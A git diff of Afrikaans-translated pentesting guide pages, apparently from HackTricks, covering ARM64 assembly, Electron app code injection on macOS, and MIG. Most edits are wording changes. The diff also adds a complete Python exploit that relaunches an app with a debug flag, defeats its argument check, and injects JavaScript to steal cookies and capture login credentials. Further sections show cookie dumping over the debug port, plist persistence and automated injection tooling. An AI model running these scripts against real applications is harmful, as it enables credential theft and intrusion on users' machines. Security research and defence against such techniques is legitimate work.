- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **verskuif dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleë is.
- Voorbeeld:
@ -235,7 +235,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
### **Funksie Epiloog**
1. **Deallocate plaaslike veranderlikes (indien enige toegeken is)**: `add sp, sp, <size>`
1. **Deallokeer plaaslike veranderlikes (indien enige toegeken is)**: `add sp, sp, <size>`
2. **Herstel die skakelregister en raamwyser**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
Armv8-A ondersteun die uitvoering van 32-bis programme. **AArch32** kan in een van **twee instruksiesette** loop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\
**Bevoorregte** 64-bis programme kan die **uitvoering van 32-bis** programme skeduleer deur 'n uitsonderingsvlak oordrag na die laer bevoorregte 32-bis uit te voer.\
Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` die **`AArch32`** programme CPSR stoor. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR\*\*.\*\*
Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR**.**
Die **`interworking`** vind plaas met behulp van die J en T bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1** te stel om aan te dui dat die instruksieset T32 is.\
Dit word tydens die **interworking takinstruksies** gestel, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld:
@ -264,7 +264,7 @@ mov r0, #8
```
### Registers
Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle gebruik word vir **enige operasie**, maar sommige van hulle is gewoonlik gereserveer:
Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle vir **enige operasie** gebruik word, maar sommige daarvan is gewoonlik gereserveer:
- **`r15`**: Program counter (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4.
- **`r11`**: Frame Pointer
@ -272,40 +272,40 @@ Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle gebruik word
- **`r13`**: Stack Pointer
- **`r14`**: Link Register
Boonop word registers geback-up in **`banked registries`**. Dit is plekke wat die registerwaardes stoor wat vinnige kontekswisseling in uitsondering hantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\
Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker modus waarheen die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel.
Boonop word registers gebackup in **`banked registries`**. Dit is plekke wat die registerwaardes stoor, wat vinnige kontekswisseling in uitsonderinghantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\
Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker-modus waar die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel.
### CPSR - Current Program Status Register
### CPSR - Huidige Program Status Register
In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word ook gestoor in **`SPSR_ELx`** wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word ook in **`SPSR_ELx`** gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
Die velde is in 'n paar groepe verdeel:
- Application Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0
- Execution State Registers: Proses gedrag (geadministreer deur die OS).
- Toepassing Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0
- Uitvoeringstoestand Registers: Prosesgedrag (geadministreer deur die OS).
#### Application Program Status Register (APSR)
#### Toepassing Program Status Register (APSR)
- Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64)
- Die **`Q`** vlae: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees.
- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk.
- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees.
- **`GE`** (Groter as of gelyk aan) Vlaggen: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk.
Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare van bytes** (van twee 32-bit operande) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE-vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop** het.
Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare bytes** (van twee 32-bit operand) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop**.
Die **`SEL`** instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te voer.
#### Execution State Registers
#### Uitvoeringstoestand Registers
- Die **`J`** en **`T`** bits: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksieset A32 gebruik, en as dit 1 is, word die T32 gebruik.
- **IT Block State Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegsel groep.
- **IT Bloktoestand Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegselgroep.
- **`E`** bit: Dui die **endianness** aan.
- **Mode en Exception Mask Bits** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
- **Modus en Uitsondering Masker Bits** (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone aborts** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs).
- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbrake** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs).
## macOS
@ -325,10 +325,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
Let wel dat **Ida** en **Ghidra** ook **spesifieke dylibs** uit die cache kan dekompileer net deur die cache te oorhandig.
Let daarop dat **Ida** en **Ghidra** ook **spesifieke dylibs** uit die cache kan dekompileer net deur die cache te oorhandig.
> [!TIP]
> Soms is dit makliker om die **gedekompleerde** kode van **`libsystem_kernel.dylib`** te kyk **as** om die **bronkode** te kyk omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.
> Soms is dit makliker om die **gedekompileerde** kode van **`libsystem_kernel.dylib`** te kontroleer **as** om die **bronkode** te kontroleer omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.
### machdep oproepe
@ -336,13 +336,13 @@ XNU ondersteun 'n ander tipe oproepe wat masjienafhanklik genoem word. Die getal
### comm bladsy
Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruikersproses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruiker se proses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die comm bladsy.
### objc_msgSend
Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat jou toe om 'n metode van 'n Objective-C objek aan te roep.
Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie stel jou in staat om 'n metode van 'n Objective-C objek aan te roep.
Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
@ -373,13 +373,13 @@ whoami
>
> Boonop, deur **`OBJC_HELP=1`** in te stel en enige binêre aan te roep, kan jy ander omgewing veranderlikes sien wat jy kan gebruik om **log** te maak wanneer sekere Objc-C aksies plaasvind.
Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen:
Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepde metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen:
- Voer optimistiese kassoektog uit:
- As suksesvol, klaar
- Verkry runtimeLock (lees)
- As (realiseer && !cls->realized) realiseer klas
- As (initialize && !cls->initialized) inisieer klas
- As (initialize && !cls->initialized) initaliseer klas
- Probeer klas se eie kas:
- As suksesvol, klaar
- Probeer klas metode lys:
@ -389,7 +389,7 @@ Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode v
- Probeer superklas metode lys:
- As gevind, vul kas en klaar
- As (resolver) probeer metode resolver, en herhaal vanaf klas soektog
- As ek nog hier is (= alles anders het gefaal) probeer voorwaarts
- As ek nog hier is (= alles anders het gefaal) probeer forwarder
### Shellcodes
@ -467,7 +467,7 @@ return 0;
#### Shell
Geneem uit [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik.
Geneem uit [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) en verduidelik.
{{#tabs}}
{{#tab name="with adr"}}

View File

@ -4,7 +4,7 @@
## Basiese Inligting
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Maar vir nou moet jy net weet dat Electron **node** draai.\
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Maar vir nou moet jy net weet dat Electron **node** uitvoer.\
En node het 'n paar **parameters** en **omgewing veranderlikes** wat gebruik kan word om **ander kode uit te voer** behalwe die aangeduide lêer.
### Electron Fuse
@ -13,11 +13,11 @@ Hierdie tegnieke sal volgende bespreek word, maar in onlangse tye het Electron v
- **`RunAsNode`**: As dit gedeaktiveer is, voorkom dit die gebruik van die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** om kode in te spuit.
- **`EnableNodeCliInspectArguments`**: As dit gedeaktiveer is, sal parameters soos `--inspect`, `--inspect-brk` nie gerespekteer word nie. Dit vermy hierdie manier om kode in te spuit.
- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode inspuiting** deur die inhoud van hierdie lêer te wysig.
- **`EnableEmbeddedAsarIntegrityValidation`**: As dit geaktiveer is, sal die gelaaide **`asar`** **lêer** deur macOS **gevalideer** word. **Dit voorkom** op hierdie manier **kode-inspuiting** deur die inhoud van hierdie lêer te wysig.
- **`OnlyLoadAppFromAsar`**: As dit geaktiveer is, sal dit slegs app.asar nagaan en gebruik, in plaas daarvan om in die volgende volgorde te soek: **`app.asar`**, **`app`** en uiteindelik **`default_app.asar`**. Dit verseker dat wanneer dit **gekombineer** word met die **`embeddedAsarIntegrityValidation`** fuse, dit **onmoontlik** is om **nie-gevalideerde kode** te **laai**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: As dit geaktiveer is, gebruik die blaaiersproses die lêer genaamd `browser_v8_context_snapshot.bin` vir sy V8-snapshot.
Nog 'n interessante fuse wat nie kode inspuiting sal voorkom nie, is:
Nog 'n interessante fuse wat nie kode-inspuiting sal voorkom nie, is:
- **EnableCookieEncryption**: As dit geaktiveer is, word die koekie stoor op skyf geënkripteer met behulp van OS-vlak kriptografie sleutels.
@ -39,7 +39,7 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Modifying Electron Fuses
Soos die [**dokumentasie noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), die konfigurasie van die **Electron Fuses** is geconfigureer binne die **Electron binêre** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
Soos die [**docs noem**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), die konfigurasie van die **Electron Fuses** is geconfigureer binne die **Electron binary** wat êrens die string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** bevat.
In macOS toepassings is dit tipies in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
@ -66,15 +66,15 @@ Daar kan **eksterne JS/HTML lêers** wees wat 'n Electron App gebruik, so 'n aan
Let daarop dat dit moontlik is om die vereiste van **`kTCCServiceSystemPolicyAppBundles`** te omseil deur die toepassing na 'n ander gids te kopieer (soos **`/tmp`**), die vouer **`app.app/Contents`** te hernoem na **`app.app/NotCon`**, **die** **asar** lêer met u **kwaadwillige** kode te **wysig**, dit weer terug te hernoem na **`app.app/Contents`** en dit uit te voer.
U kan die kode uit die asar lêer onpak met:
U kan die kode uit die asar lêer onpack met:
```bash
npx asar extract app.asar app-decomp
```
En pak dit weer in nadat dit gewysig is met:
En pak dit weer in nadat dit met die volgende gewysig is:
```bash
npx asar pack app-decomp app-new.asar
```
## RCE met `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
## RCE met ELECTRON_RUN_AS_NODE
Volgens [**die dokumentasie**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), as hierdie omgewing veranderlike gestel is, sal dit die proses as 'n normale Node.js-proses begin.
```bash
@ -147,19 +147,227 @@ Jy kan hierdie env variabele in 'n plist misbruik om volharding te handhaaf deur
```
## RCE met inspeksie
Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), as jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, sal 'n **debug-poort oop wees** sodat jy daaraan kan koppel (byvoorbeeld vanaf Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\
Volgens [**hierdie**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kan jy 'n Electron-toepassing uitvoer met vlae soos **`--inspect`**, **`--inspect-brk`** en **`--remote-debugging-port`**, 'n **debug-poort sal oop wees** sodat jy daaraan kan koppel (byvoorbeeld van Chrome in `chrome://inspect`) en jy sal in staat wees om **kode daarop in te spuit** of selfs nuwe prosesse te begin.\
Byvoorbeeld:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
In [**hierdie blogpos**](https://hackerone.com/reports/1274695), word hierdie foutopsporing misbruik om 'n headless chrome **arbitraire lêers in arbitraire plekke af te laai**.
> [!TIP]
> As 'n app sy eie manier het om te kyk of omgewingsveranderlikes of parameters soos `--inspect` gestel is, kan jy probeer om dit in runtime te **omseil** met die arg `--inspect-brk` wat die **uitvoering stop** aan die begin van die app en 'n omseiling uitvoer (deur die args of die omgewingsveranderlikes van die huidige proses te oorskryf byvoorbeeld).
Die volgende was 'n eksploit wat deur die app te monitor en uit te voer met die parameter `--inspect-brk`, dit moontlik gemaak het om die pasgemaakte beskerming wat dit gehad het te omseil (deur die parameters van die proses te oorskryf om `--inspect-brk` te verwyder) en dan 'n JS payload in te spuit om koekies en geloofsbriewe van die app te dump.
```python
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
```
> [!CAUTION]
> As die fuse **`EnableNodeCliInspectArguments`** gedeaktiveer is, sal die app **node parameters** (soos `--inspect`) ignoreer wanneer dit gelaai word, tensy die omgewing veranderlike **`ELECTRON_RUN_AS_NODE`** gestel is, wat ook **geignoreer** sal word as die fuse **`RunAsNode`** gedeaktiveer is.
>
> U kan egter steeds die **electron param `--remote-debugging-port=9229`** gebruik, maar die vorige payload sal nie werk om ander prosesse uit te voer nie.
Deur die param **`--remote-debugging-port=9222`** te gebruik, is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **cookies** van die blaaier (aangesien dit **ontsleuteld** binne die blaaier is en daar 'n **json endpoint** is wat dit sal gee).
Met die param **`--remote-debugging-port=9222`** is dit moontlik om sekere inligting van die Electron App te steel, soos die **geskiedenis** (met GET-opdragte) of die **cookies** van die blaaskier (aangesien dit **ontsleuteld** binne die blaaskier is en daar 'n **json endpoint** is wat dit sal verskaf).
U kan leer hoe om dit te doen in [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) en [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) en die outomatiese hulpmiddel [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) of 'n eenvoudige skrip soos:
```python
@ -169,9 +377,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
In [**hierdie blogpos**](https://hackerone.com/reports/1274695), word hierdie foutopsporing misbruik om 'n headless chrome **arbitraire lêers in arbitraire plekke af te laai**.
### Inspuiting vanaf die App Plist
### Injection from the App Plist
Jy kan hierdie omgewing veranderlike in 'n plist misbruik om volharding te handhaaf deur hierdie sleutels by te voeg:
```xml
@ -192,14 +398,16 @@ Jy kan hierdie omgewing veranderlike in 'n plist misbruik om volharding te handh
> [!TIP]
> Die TCC daemon van macOS kontroleer nie die uitgevoerde weergawe van die toepassing nie. So as jy **nie kode in 'n Electron-toepassing kan inspuit nie** met enige van die vorige tegnieke, kan jy 'n vorige weergawe van die APP aflaai en kode daarop inspuit, aangesien dit steeds die TCC voorregte sal ontvang (tenzij Trust Cache dit voorkom).
## Voer nie-JS Kode uit
## Voer nie-JS kode uit
Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind proses onder dieselfde sandbox profiel** as die ouer toepassing loop en **hulle TCC toestemmings erf**.\
Die vorige tegnieke sal jou toelaat om **JS kode binne die proses van die electron-toepassing uit te voer**. Onthou egter dat die **kind prosesse onder dieselfde sandbox profiel** as die ouer toepassing loop en **hul TCC toestemmings erf**.\
Daarom, as jy voorregte wil misbruik om toegang tot die kamera of mikrofoon te verkry, kan jy eenvoudig **'n ander binêre vanaf die proses uitvoer**.
## Outomatiese Inspuiting
Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwesbare electron-toepassings** wat geïnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik:
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
Die hulpmiddel [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kan maklik gebruik word om **kwetsbare electron-toepassings** wat geïnstalleer is te vind en kode daarop in te spuit. Hierdie hulpmiddel sal probeer om die **`--inspect`** tegniek te gebruik:
Jy moet dit self saamstel en kan dit soos volg gebruik:
```bash
@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739`
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
```
## Verwysings
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
Loki is ontwerp om Electron-toepassings te backdoor deur die toepassings se JavaScript-lêers te vervang met die Loki Command & Control JavaScript-lêers.
## References
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)

View File

@ -10,7 +10,7 @@ Die definisie word gespesifiseer in Interface Definition Language (IDL) met die
Hierdie definisies het 5 afdelings:
- **Substelseld verklaring**: Die sleutelwoord subsystem word gebruik om die **naam** en die **id** aan te dui. Dit is ook moontlik om dit as **`KernelServer`** te merk as die bediener in die kernel moet loop.
- **Substelseld verklaring**: Die sleutelwoord substelsel word gebruik om die **naam** en die **id** aan te dui. Dit is ook moontlik om dit as **`KernelServer`** te merk as die bediener in die kernel moet loop.
- **Insluitings en invoere**: MIG gebruik die C-prepocessor, so dit kan invoere gebruik. Boonop is dit moontlik om `uimport` en `simport` te gebruik vir gebruiker of bediener gegenereerde kode.
- **Tipe verklarings**: Dit is moontlik om datatipes te definieer alhoewel dit gewoonlik `mach_types.defs` en `std_types.defs` sal invoer. Vir persoonlike tipes kan 'n sekere sintaksis gebruik word:
- \[i`n/out]tran`: Funksie wat vertaal moet word van 'n inkomende of na 'n uitgaande boodskap
@ -42,7 +42,7 @@ n2 : uint32_t);
```
Let wel dat die eerste **argument die poort is om te bind** en MIG sal **automaties die antwoordpoort hanteer** (tenzij `mig_get_reply_port()` in die kliëntkode aangeroep word). Boonop sal die **ID van die operasies** **sekwensieel** wees wat begin met die aangeduide subsysteem-ID (so as 'n operasie verouderd is, word dit verwyder en `skip` word gebruik om steeds sy ID te gebruik).
